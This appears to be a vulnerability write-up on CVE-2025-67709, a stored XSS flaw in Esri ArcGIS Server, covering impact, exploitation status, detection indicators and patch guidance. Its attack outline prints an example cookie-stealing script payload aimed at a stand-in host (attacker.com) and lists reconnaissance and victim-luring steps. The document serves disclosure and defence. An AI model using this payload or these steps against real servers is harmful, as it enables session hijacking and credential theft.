CVE-2025-67709: 
ArcGIS Server vulnerability analysis and mitigation

CVE-2025-67709 is a stored cross-site scripting (XSS) vulnerability in Esri ArcGIS Server 11.4 and earlier on both Windows and Linux platforms. In certain configurations, it allows a remote unauthenticated attacker to store files containing malicious code that may execute within a victim's browser context. The vulnerability was published on December 31, 2025, with a patch made available on January 6, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) (Esri Advisory, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) XSS variant. In certain ArcGIS Server configurations, the application fails to adequately sanitize or restrict file uploads or storage operations, allowing an unauthenticated remote attacker to persist malicious content on the server. When a victim subsequently accesses the affected resource through their browser, the stored malicious code executes in the victim's browser context. The changed scope (S:C) in the CVSS vector indicates the vulnerability's impact crosses security boundaries from the server to the victim's browser session (Esri Advisory, ENISA EUVD).

Successful exploitation can result in unauthorized information disclosure and integrity compromise within the victim's browser session, including potential theft of session tokens, credentials, or sensitive data rendered in the browser. Because the scope is changed, the attacker's malicious script executes in the context of the victim's browser rather than the server, enabling actions such as session hijacking, credential harvesting, or redirecting users to malicious sites. Availability is not directly impacted. The attack is limited to configurations that permit unauthenticated file storage, and exploitation requires user interaction — a victim must access the malicious content (ENISA EUVD, Esri Advisory).

As of the time of reporting, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation. The EPSS score is approximately 0.04%, reflecting a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction (a victim must access the stored malicious content), which somewhat limits the attack surface (ENISA EUVD).

1. Reconnaissance: Identify publicly accessible Esri ArcGIS Server instances running version 11.4 or earlier using tools like Shodan or Censys, focusing on endpoints that permit unauthenticated file uploads or storage in specific configurations.
2. Identify vulnerable endpoint: Locate ArcGIS Server endpoints or services that allow unauthenticated file storage without adequate input sanitization.
3. Craft malicious payload: Prepare a file or content containing a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute in a victim's browser.
4. Store malicious content: Upload or submit the crafted file/content to the vulnerable ArcGIS Server endpoint, causing it to be persistently stored on the server.
5. Trigger victim interaction: Lure a victim (e.g., an authenticated ArcGIS user or administrator) into accessing the URL or resource where the malicious content is stored, causing the script to execute in their browser context.
6. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the victim, or redirect them to attacker-controlled infrastructure (Esri Advisory, ENISA EUVD).

• Network: Unexpected outbound HTTP/HTTPS requests from victim browsers to unknown external domains following access to ArcGIS Server resources; unusual POST requests to ArcGIS Server file storage or upload endpoints from unauthenticated sources.
• File System: Presence of unexpected files containing JavaScript or HTML content (e.g., <script> tags) in ArcGIS Server upload directories or web-accessible storage locations.
• Logs: ArcGIS Server access logs showing unauthenticated POST requests to file storage endpoints with suspicious content types or filenames; repeated access to specific stored resources by multiple different users.
• Browser/Application: Victim browsers making unexpected requests to third-party domains after accessing ArcGIS Server pages; reports from users of unexpected redirects or pop-ups when using ArcGIS Server.

Esri has released a patch addressing this vulnerability as part of the ArcGIS Server Security 2025 Update 2 Patch, available as of January 6, 2026. Organizations should immediately apply this patch to all ArcGIS Server instances running version 11.4 or earlier on both Windows and Linux. As interim mitigations, administrators should implement network-level controls to restrict unauthenticated access to ArcGIS Server file storage endpoints, and review server configurations to disable or restrict features that allow unauthenticated file uploads where not required (Esri Advisory).

The vulnerability received limited public attention following its disclosure on December 31, 2025, with coverage primarily from automated vulnerability tracking services and aggregators such as Vulners, CVEFeed, and CIRCL Vulnerability Lookup. No significant researcher commentary or major media coverage has been identified. The Esri advisory was the primary authoritative source, and no notable community debate or vendor controversy has been observed (ENISA EUVD).